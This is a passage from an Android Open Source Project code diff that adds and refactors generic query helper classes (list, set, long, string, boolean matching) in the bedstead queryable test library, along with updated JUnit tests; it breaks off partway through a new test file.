+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.queryable.queries;
+
+import com.android.queryable.Queryable;
+
+import java.io.Serializable;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+public final class ListQueryHelper<E extends Queryable, F, G extends Query<F>> implements ListQuery<E, F, G>, Serializable {
+
+    private E mQuery;
+    private final IntegerQueryHelper<E> mSizeQuery;
+    private final List<G> mContains = new ArrayList<>();
+    private final List<G> mDoesNotContain = new ArrayList<>();
+
+    ListQueryHelper() {
+        mQuery = (E) this;
+        mSizeQuery = new IntegerQueryHelper<>(mQuery);
+    }
+
+    public ListQueryHelper(E query) {
+        mQuery = query;
+        mSizeQuery = new IntegerQueryHelper<>(mQuery);
+    }
+
+    @Override
+    public IntegerQuery<E> size() {
+        return mSizeQuery;
+    }
+
+    @Override
+    public E contains(G... objects) {
+        mContains.addAll(Arrays.asList(objects));
+        return mQuery;
+    }
+
+    @Override
+    public E doesNotContain(G... objects) {
+        mDoesNotContain.addAll(Arrays.asList(objects));
+        return mQuery;
+    }
+
+    @Override
+    public boolean matches(List<F> value) {
+        if (!mSizeQuery.matches(value.size())) {
+            return false;
+        }
+
+        if (!checkContainsAtLeast(value)) {
+            return false;
+        }
+
+        if (!checkDoesNotContain(value)) {
+            return false;
+        }
+
+        return true;
+    }
+
+    private boolean checkContainsAtLeast(List<F> value) {
+        List<F> v = new ArrayList<>(value);
+
+        for (G containsAtLeast : mContains) {
+            F match = findMatch(containsAtLeast, v);
+
+            if (match == null) {
+                return false;
+            }
+            v.remove(match);
+        }
+
+        return true;
+    }
+
+    private boolean checkDoesNotContain(List<F> value) {
+        for (G doesNotContain : mDoesNotContain) {
+            if (findMatch(doesNotContain, value) != null) {
+                return false;
+            }
+        }
+
+        return true;
+    }
+
+    private F findMatch(G query, List<F> values) {
+        for (F value : values) {
+            if (query.matches(value)) {
+                return value;
+            }
+        }
+
+        return null;
+    }
+}
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/LongQuery.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/LongQuery.java
new file mode 100644
index 0000000..58b97d2
--- /dev/null
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/LongQuery.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.queryable.queries;
+
+import com.android.queryable.Queryable;
+
+import java.io.Serializable;
+
+/** Query for a {@link Long}. */
+public interface LongQuery<E extends Queryable> extends Serializable {
+    /** Require the {@link Long} is equal to {@code i}. */
+    E isEqualTo(long i);
+
+    /** Require the {@link Long} is greater than {@code i}. */
+    E isGreaterThan(long i);
+
+    /** Require the {@link Long} is greater than or equal to {@code i}. */
+    E isGreaterThanOrEqualTo(long i);
+
+    /** Require the {@link Long} is less than {@code i}. */
+    E isLessThan(long i);
+
+    /** Require the {@link Long} is less than or equal to {@code i}. */
+    E isLessThanOrEqualTo(long i);
+}
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/LongQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/LongQueryHelper.java
new file mode 100644
index 0000000..7ec6f5a
--- /dev/null
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/LongQueryHelper.java
@@ -0,0 +1,111 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.queryable.queries;
+
+import androidx.annotation.Nullable;
+
+import com.android.queryable.Queryable;
+
+import java.io.Serializable;
+
+/** Implementation of {@link LongQuery}. */
+public final class LongQueryHelper<E extends Queryable> implements LongQuery<E>, Serializable {
+
+    @Nullable private Long mEqualToValue = null;
+    @Nullable private Long mGreaterThanValue = null;
+    @Nullable private Long mGreaterThanOrEqualToValue = null;
+    @Nullable private Long mLessThanValue = null;
+    @Nullable private Long mLessThanOrEqualToValue = null;
+
+    private final E mQuery;
+
+    public LongQueryHelper(E query) {
+        mQuery = query;
+    }
+
+
+    @Override
+    public E isEqualTo(long i) {
+        mEqualToValue = i;
+        return mQuery;
+    }
+
+    @Override
+    public E isGreaterThan(long i) {
+        if (mGreaterThanValue == null) {
+            mGreaterThanValue = i;
+        } else {
+            mGreaterThanValue = Math.max(mGreaterThanValue, i);
+        }
+        return mQuery;
+    }
+
+    @Override
+    public E isGreaterThanOrEqualTo(long i) {
+        if (mGreaterThanOrEqualToValue == null) {
+            mGreaterThanOrEqualToValue = i;
+        } else {
+            mGreaterThanOrEqualToValue = Math.max(mGreaterThanOrEqualToValue, i);
+        }
+        return mQuery;
+    }
+
+    @Override
+    public E isLessThan(long i) {
+        if (mLessThanValue == null) {
+            mLessThanValue = i;
+        } else {
+            mLessThanValue = Math.min(mLessThanValue, i);
+        }
+        return mQuery;
+    }
+
+    @Override
+    public E isLessThanOrEqualTo(long i) {
+        if (mLessThanOrEqualToValue == null) {
+            mLessThanOrEqualToValue = i;
+        } else {
+            mLessThanOrEqualToValue = Math.min(mLessThanOrEqualToValue, i);
+        }
+        return mQuery;
+    }
+
+    /** {@code true} if all filters are met by {@code value}. */
+    public boolean matches(long value) {
+        if (mEqualToValue != null && mEqualToValue != value) {
+            return false;
+        }
+
+        if (mGreaterThanValue != null && value <= mGreaterThanValue) {
+            return false;
+        }
+
+        if (mGreaterThanOrEqualToValue != null && value < mGreaterThanOrEqualToValue) {
+            return false;
+        }
+
+        if (mLessThanValue != null && value >= mLessThanValue) {
+            return false;
+        }
+
+        if (mLessThanOrEqualToValue != null && value > mLessThanOrEqualToValue) {
+            return false;
+        }
+
+        return true;
+    }
+}
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/PersistableBundleKeyQuery.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/PersistableBundleKeyQuery.java
index 9e75564..53752b5 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/PersistableBundleKeyQuery.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/PersistableBundleKeyQuery.java
@@ -25,7 +25,7 @@
 import java.io.Serializable;
 
 /** Query for a single key in a {@link PersistableBundle}. */
-public interface PersistableBundleKeyQuery<E extends Queryable>  extends Serializable {
+public interface PersistableBundleKeyQuery<E extends Queryable> {
     /** Require that the key exists. */
     E exists();
     /** Require that the key does not exist. */
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/PersistableBundleQuery.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/PersistableBundleQuery.java
index 67930a7d..bd1f4b5 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/PersistableBundleQuery.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/PersistableBundleQuery.java
@@ -25,7 +25,11 @@
 import java.io.Serializable;
 
 /** Query for a {@link PersistableBundle}. */
-public interface PersistableBundleQuery<E extends Queryable> extends Serializable {
+public interface PersistableBundleQuery<E extends Queryable> extends Query<PersistableBundle> {
+
+    static PersistableBundleQuery<PersistableBundleQuery<?>> persistableBundle() {
+        return new PersistableBundleQueryHelper<>();
+    }
 
     /** Query a given key on the {@link PersistableBundle}. */
     @CheckResult
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/PersistableBundleQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/PersistableBundleQueryHelper.java
index 287f05a..39d983b 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/PersistableBundleQueryHelper.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/PersistableBundleQueryHelper.java
@@ -33,6 +33,10 @@
     private final Map<String, PersistableBundleKeyQueryHelper<E>> mKeyQueryHelpers =
             new HashMap<>();
 
+    PersistableBundleQueryHelper() {
+        mQuery = (E) this;
+    }
+
     public PersistableBundleQueryHelper(E query) {
         mQuery = query;
     }
@@ -45,6 +49,7 @@
         return mKeyQueryHelpers.get(key);
     }
 
+    @Override
     public boolean matches(PersistableBundle value) {
         for (Map.Entry<String, PersistableBundleKeyQueryHelper<E>> keyQueries :
                 mKeyQueryHelpers.entrySet()) {
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/Query.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/Query.java
new file mode 100644
index 0000000..4838772
--- /dev/null
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/Query.java
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.queryable.queries;
+
+import com.android.queryable.Queryable;
+
+import java.io.Serializable;
+
+public interface Query<E> extends Serializable, Queryable {
+    boolean matches(E value);
+}
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/SerializableQuery.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/SerializableQuery.java
index a511e42..2805ec4 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/SerializableQuery.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/SerializableQuery.java
@@ -21,7 +21,12 @@
 import java.io.Serializable;
 
 /** Query for a {@link Serializable}. */
-public interface SerializableQuery<E extends Queryable> extends Serializable {
+public interface SerializableQuery<E extends Queryable> extends Query<Serializable> {
+
+    static SerializableQuery<SerializableQuery<?>> serializable() {
+        return new SerializableQueryHelper<>();
+    }
+
     /** Require that the {@link Serializable} is equal to {@code serializable}. */
     E isEqualTo(Serializable serializable);
 }
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/SerializableQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/SerializableQueryHelper.java
index 655c55b..3cc8557 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/SerializableQueryHelper.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/SerializableQueryHelper.java
@@ -27,6 +27,10 @@
     private final E mQuery;
     private Serializable mEqualsValue = null;
 
+    SerializableQueryHelper() {
+        mQuery = (E) this;
+    }
+
     public SerializableQueryHelper(E query) {
         mQuery = query;
     }
@@ -37,6 +41,7 @@
         return mQuery;
     }
 
+    @Override
     public boolean matches(Serializable value) {
         if (mEqualsValue != null && !mEqualsValue.equals(value)) {
             return false;
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/SetQuery.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/SetQuery.java
new file mode 100644
index 0000000..acb1cc9
--- /dev/null
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/SetQuery.java
@@ -0,0 +1,34 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.queryable.queries;
+
+import com.android.queryable.Queryable;
+
+import java.util.Set;
+
+/** Query for a {@link java.util.Set}. */
+public interface SetQuery<E extends Queryable, F, G extends Query<F>> extends Query<Set<F>> {
+
+    static SetQuery<SetQuery<?, ?, ?>, ?, ?> set() {
+        return new SetQueryHelper<>();
+    }
+
+    IntegerQuery<E> size();
+
+    E contains(G... objects);
+    E doesNotContain(G... objects);
+}
\ No newline at end of file
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/SetQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/SetQueryHelper.java
new file mode 100644
index 0000000..075d860
--- /dev/null
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/SetQueryHelper.java
@@ -0,0 +1,111 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.queryable.queries;
+
+import com.android.queryable.Queryable;
+
+import java.io.Serializable;
+import java.util.Arrays;
+import java.util.HashSet;
+import java.util.Set;
+
+public final class SetQueryHelper<E extends Queryable, F, G extends Query<F>> implements SetQuery<E, F, G>, Serializable {
+
+    private E mQuery;
+    private final IntegerQueryHelper<E> mSizeQuery;
+    private final Set<G> mContains = new HashSet<>();
+    private final Set<G> mDoesNotContain = new HashSet<>();
+
+    SetQueryHelper() {
+        mQuery = (E) this;
+        mSizeQuery = new IntegerQueryHelper<>(mQuery);
+    }
+
+    public SetQueryHelper(E query) {
+        mQuery = query;
+        mSizeQuery = new IntegerQueryHelper<>(mQuery);
+    }
+
+    @Override
+    public IntegerQuery<E> size() {
+        return mSizeQuery;
+    }
+
+    @Override
+    public E contains(G... objects) {
+        mContains.addAll(Arrays.asList(objects));
+        return mQuery;
+    }
+
+    @Override
+    public E doesNotContain(G... objects) {
+        mDoesNotContain.addAll(Arrays.asList(objects));
+        return mQuery;
+    }
+
+    @Override
+    public boolean matches(Set<F> value) {
+        if (!mSizeQuery.matches(value.size())) {
+            return false;
+        }
+
+        if (!checkContainsAtLeast(value)) {
+            return false;
+        }
+
+        if (!checkDoesNotContain(value)) {
+            return false;
+        }
+
+        return true;
+    }
+
+    private boolean checkContainsAtLeast(Set<F> value) {
+        Set<F> v = new HashSet<>(value);
+
+        for (G containsAtLeast : mContains) {
+            F match = findMatch(containsAtLeast, v);
+
+            if (match == null) {
+                return false;
+            }
+            v.remove(match);
+        }
+
+        return true;
+    }
+
+    private boolean checkDoesNotContain(Set<F> value) {
+        for (G doesNotContain : mDoesNotContain) {
+            if (findMatch(doesNotContain, value) != null) {
+                return false;
+            }
+        }
+
+        return true;
+    }
+
+    private F findMatch(G query, Set<F> values) {
+        for (F value : values) {
+            if (query.matches(value)) {
+                return value;
+            }
+        }
+
+        return null;
+    }
+}
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/StringQuery.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/StringQuery.java
index 0dfb4b5..03c32b9 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/StringQuery.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/StringQuery.java
@@ -21,7 +21,12 @@
 import java.io.Serializable;
 
 /** Query for a {@link String}. */
-public interface StringQuery<E extends Queryable> extends Serializable {
+public interface StringQuery<E extends Queryable> extends Query<String> {
+
+    static StringQuery<StringQuery<?>> string() {
+        return new StringQueryHelper<>();
+    }
+
     /** Require the {@link String} is equal to {@code string}. */
     E isEqualTo(String string);
 }
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/StringQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/StringQueryHelper.java
index 45b731c..1da32d9 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/StringQueryHelper.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/StringQueryHelper.java
@@ -27,6 +27,10 @@
     private final E mQuery;
     private String mEqualsValue = null;
 
+    StringQueryHelper() {
+        mQuery = (E) this;
+    }
+
     public StringQueryHelper(E query) {
         mQuery = query;
     }
@@ -37,6 +41,7 @@
         return mQuery;
     }
 
+    @Override
     public boolean matches(String value) {
         if (mEqualsValue != null && !mEqualsValue.equals(value)) {
             return false;
@@ -44,4 +49,8 @@
 
         return true;
     }
+
+    public static boolean matches(StringQueryHelper<?> stringQueryHelper, String value) {
+        return stringQueryHelper.matches(value);
+    }
 }
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/UserHandleQuery.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/UserHandleQuery.java
index 7d7fb32..0050554 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/UserHandleQuery.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/UserHandleQuery.java
@@ -25,7 +25,12 @@
 import java.io.Serializable;
 
 /** Query for a {@link UserHandle}. */
-public interface UserHandleQuery<E extends Queryable> extends Serializable {
+public interface UserHandleQuery<E extends Queryable> extends Query<UserHandle> {
+
+    static UserHandleQuery<UserHandleQuery<?>> userHandle() {
+        return new UserHandleQueryHelper<>();
+    }
+
     /** Require the {@link UserHandle} is equal to {@code userHandle}. */
     E isEqualTo(UserHandle userHandle);
 
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/UserHandleQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/UserHandleQueryHelper.java
index a4b0a09..0977fe3 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/UserHandleQueryHelper.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/UserHandleQueryHelper.java
@@ -31,6 +31,10 @@
     private UserHandle mEqualsValue = null;
     private IntegerQueryHelper<E> mIdQuery = null;
 
+    UserHandleQueryHelper() {
+        mQuery = (E) this;
+    }
+
     public UserHandleQueryHelper(E query) {
         mQuery = query;
     }
@@ -52,6 +56,7 @@
     /**
      * {@code true} if all filters are met by the {@link UserHandle}.
      */
+    @Override
     public boolean matches(UserHandle value) {
         if (mEqualsValue != null && !mEqualsValue.equals(value)) {
             return false;
diff --git a/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/info/ActivityInfoTest.java b/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/info/ActivityInfoTest.java
index dc3142e..70afabd 100644
--- a/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/info/ActivityInfoTest.java
+++ b/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/info/ActivityInfoTest.java
@@ -35,30 +35,35 @@
     private static final String TEST_CLASS_SIMPLE_NAME = ActivityContext.class.getSimpleName();
 
     @Test
-    public void classConstructor_setsClassName() {
-        ActivityInfo activityInfo = new ActivityInfo(TEST_CLASS);
+    public void classConstructor_setsClass() {
+        ActivityInfo activityInfo = ActivityInfo.builder().activityClass(TEST_CLASS).build();
 
         assertThat(activityInfo.className()).isEqualTo(TEST_CLASS_NAME);
     }
 
     @Test
-    public void instanceConstructor_setsClassName() throws Exception {
-        ActivityInfo activityInfo = ActivityContext.getWithContext(ActivityInfo::new);
+    public void instanceConstructor_setsClass() throws Exception {
+        ActivityInfo activityInfo = ActivityContext.getWithContext(c ->
+                ActivityInfo.builder().activityClass(c).build());
 
         assertThat(activityInfo.className()).isEqualTo(TEST_CLASS_NAME);
     }
 
     @Test
-    public void stringConstructor_setsClassName() {
-        ActivityInfo activityInfo = new ActivityInfo(TEST_CLASS_NAME);
+    public void stringConstructor_setsClass() {
+        ActivityInfo activityInfo = ActivityInfo.builder().activityClass(TEST_CLASS_NAME).build();
 
         assertThat(activityInfo.className()).isEqualTo(TEST_CLASS_NAME);
     }
 
     @Test
-    public void simpleName_getsSimpleName() {
-        ActivityInfo activityInfo = new ActivityInfo(TEST_CLASS_NAME);
+    public void activityInfoConstructor_setsClass() {
+        android.content.pm.ActivityInfo frameworkActivityInfo =
+                new android.content.pm.ActivityInfo();
+        frameworkActivityInfo.name = TEST_CLASS_NAME;
 
-        assertThat(activityInfo.simpleName()).isEqualTo(TEST_CLASS_SIMPLE_NAME);
+        ActivityInfo activityInfo = ActivityInfo.builder(frameworkActivityInfo).build();
+
+        assertThat(activityInfo.className()).isEqualTo(TEST_CLASS_NAME);
     }
 }
diff --git a/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/ActivityQueryHelperTest.java b/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/ActivityQueryHelperTest.java
index 25c77d5..9dfd5f4 100644
--- a/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/ActivityQueryHelperTest.java
+++ b/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/ActivityQueryHelperTest.java
@@ -33,78 +33,70 @@
     private final Queryable mQuery = null;
 
     private static final Class<? extends Activity> CLASS_1 = Activity.class;
-    private static final ActivityInfo CLASS_1_ACTIVITY_INFO = new ActivityInfo(CLASS_1);
+
     private static final String CLASS_1_CLASS_NAME = CLASS_1.getName();
-    private static final String CLASS_1_SIMPLE_NAME = CLASS_1.getSimpleName();
-    private static final ActivityInfo CLASS_2_ACTIVITY_INFO =
-            new ActivityInfo("differentClassName");
+
+    private static final android.content.pm.ActivityInfo FRAMEWORK_ACTIVITY_INFO_1 =
+            createActivityInfo(CLASS_1_CLASS_NAME, /* exported= */ false);
+    private static final android.content.pm.ActivityInfo FRAMEWORK_ACTIVITY_INFO_2 =
+            createActivityInfo("different.class.name", /* exported= */ false);
+    private static final android.content.pm.ActivityInfo EXPORTED_FRAMEWORK_ACTIVITY_INFO =
+            createActivityInfo(CLASS_1_CLASS_NAME, /* exported= */ true);
+
+    private static android.content.pm.ActivityInfo createActivityInfo(String name, boolean exported) {
+        android.content.pm.ActivityInfo activityInfo = new android.content.pm.ActivityInfo();
+        activityInfo.name = name;
+        activityInfo.exported = exported;
+
+        return activityInfo;
+    }
+
+    private static final ActivityInfo CLASS_1_ACTIVITY_INFO = ActivityInfo.builder(FRAMEWORK_ACTIVITY_INFO_1).build();
+    private static final ActivityInfo EXPORTED_ACTIVITY_INFO = ActivityInfo.builder(EXPORTED_FRAMEWORK_ACTIVITY_INFO).build();
+    private static final ActivityInfo CLASS_2_ACTIVITY_INFO = ActivityInfo.builder(FRAMEWORK_ACTIVITY_INFO_2).build();
 
     @Test
     public void matches_noRestrictions_returnsTrue() {
-        ActivityQueryHelper<Queryable> activityQueryHelper =
-                new ActivityQueryHelper<>(mQuery);
+        ActivityQueryHelper<Queryable> activityQueryHelper = new ActivityQueryHelper<>(mQuery);
 
         assertThat(activityQueryHelper.matches(CLASS_1_ACTIVITY_INFO)).isTrue();
     }
 
     @Test
-    public void matches_isSameClassAs_doesMatch_returnsTrue() {
-        ActivityQueryHelper<Queryable> activityQueryHelper =
-                new ActivityQueryHelper<>(mQuery);
+    public void matches_activityClass_doesMatch_returnsTrue() {
+        ActivityQueryHelper<Queryable> activityQueryHelper = new ActivityQueryHelper<>(mQuery);
 
-        activityQueryHelper.isSameClassAs(CLASS_1);
+        activityQueryHelper.activityClass().isSameClassAs(CLASS_1);
 
         assertThat(activityQueryHelper.matches(CLASS_1_ACTIVITY_INFO)).isTrue();
     }
 
     @Test
-    public void matches_isSameClassAs_doesNotMatch_returnsFalse() {
-        ActivityQueryHelper<Queryable> activityQueryHelper =
-                new ActivityQueryHelper<>(mQuery);
+    public void matches_activityClass_doesNotMatch_returnsFalse() {
+        ActivityQueryHelper<Queryable> activityQueryHelper = new ActivityQueryHelper<>(mQuery);
 
-        activityQueryHelper.isSameClassAs(CLASS_1);
+        activityQueryHelper.activityClass().isSameClassAs(CLASS_1);
 
         assertThat(activityQueryHelper.matches(CLASS_2_ACTIVITY_INFO)).isFalse();
     }
 
     @Test
-    public void matches_className_doesMatch_returnsTrue() {
+    public void matches_exported_matches_returnsTrue() {
         ActivityQueryHelper<Queryable> activityQueryHelper =
                 new ActivityQueryHelper<>(mQuery);
 
-        activityQueryHelper.className().isEqualTo(CLASS_1_CLASS_NAME);
+        activityQueryHelper.exported().isTrue();
 
-        assertThat(activityQueryHelper.matches(CLASS_1_ACTIVITY_INFO)).isTrue();
+        assertThat(activityQueryHelper.matches(EXPORTED_ACTIVITY_INFO)).isTrue();
     }
 
     @Test
-    public void matches_className_doesNotMatch_returnsFalse() {
-        ActivityQueryHelper<Queryable> activityQueryHelper =
-                new ActivityQueryHelper<>(mQuery);
+    public void matches_exported_doesNotMatch_returnsFalse() {
+        ActivityQueryHelper<Queryable> activityQueryHelper = new ActivityQueryHelper<>(mQuery);
 
-        activityQueryHelper.className().isEqualTo(CLASS_1_CLASS_NAME);
+        activityQueryHelper.exported().isFalse();
 
-        assertThat(activityQueryHelper.matches(CLASS_2_ACTIVITY_INFO)).isFalse();
-    }
-
-    @Test
-    public void matches_simpleName_doesMatch_returnsTrue() {
-        ActivityQueryHelper<Queryable> activityQueryHelper =
-                new ActivityQueryHelper<>(mQuery);
-
-        activityQueryHelper.simpleName().isEqualTo(CLASS_1_SIMPLE_NAME);
-
-        assertThat(activityQueryHelper.matches(CLASS_1_ACTIVITY_INFO)).isTrue();
-    }
-
-    @Test
-    public void matches_simpleName_doesNotMatch_returnsFalse() {
-        ActivityQueryHelper<Queryable> activityQueryHelper =
-                new ActivityQueryHelper<>(mQuery);
-
-        activityQueryHelper.simpleName().isEqualTo(CLASS_1_SIMPLE_NAME);
-
-        assertThat(activityQueryHelper.matches(CLASS_2_ACTIVITY_INFO)).isFalse();
+        assertThat(activityQueryHelper.matches(EXPORTED_ACTIVITY_INFO)).isFalse();
     }
 
 }
diff --git a/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/BooleanQueryHelperTest.java b/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/BooleanQueryHelperTest.java
new file mode 100644
index 0000000..1dc6504
--- /dev/null
+++ b/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/BooleanQueryHelperTest.java
@@ -0,0 +1,103 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.queryable.queries;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import com.android.queryable.Queryable;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public class BooleanQueryHelperTest {
+
+    private final Queryable mQuery = null;
+
+    @Test
+    public void matches_noRestrictions_returnsTrue() {
+        BooleanQueryHelper<Queryable> booleanQueryHelper = new BooleanQueryHelper<>(mQuery);
+
+        assertThat(booleanQueryHelper.matches(true)).isTrue();
+    }
+
+    @Test
+    public void matches_isTrue_valueIsTrue_returnsTrue() {
+        BooleanQueryHelper<Queryable> booleanQueryHelper = new BooleanQueryHelper<>(mQuery);
+        booleanQueryHelper.isTrue();
+
+        assertThat(booleanQueryHelper.matches(true)).isTrue();
+    }
+
+    @Test
+    public void matches_isTrue_valueIsFalse_returnsFalse() {
+        BooleanQueryHelper<Queryable> booleanQueryHelper = new BooleanQueryHelper<>(mQuery);
+        booleanQueryHelper.isTrue();
+
+        assertThat(booleanQueryHelper.matches(false)).isFalse();
+    }
+
+    @Test
+    public void matches_isFalse_valueIsTrue_returnsFalse() {
+        BooleanQueryHelper<Queryable> booleanQueryHelper = new BooleanQueryHelper<>(mQuery);
+        booleanQueryHelper.isFalse();
+
+        assertThat(booleanQueryHelper.matches(true)).isFalse();
+    }
+
+    @Test
+    public void matches_isFalse_valueIsFalse_returnsTrue() {
+        BooleanQueryHelper<Queryable> booleanQueryHelper = new BooleanQueryHelper<>(mQuery);
+        booleanQueryHelper.isFalse();
+
+        assertThat(booleanQueryHelper.matches(false)).isTrue();
+    }
+
+    @Test
+    public void matches_equalsTrue_valueIsTrue_returnsTrue() {
+        BooleanQueryHelper<Queryable> booleanQueryHelper = new BooleanQueryHelper<>(mQuery);
+        booleanQueryHelper.equals(true);
+
+        assertThat(booleanQueryHelper.matches(true)).isTrue();
+    }
+
+    @Test
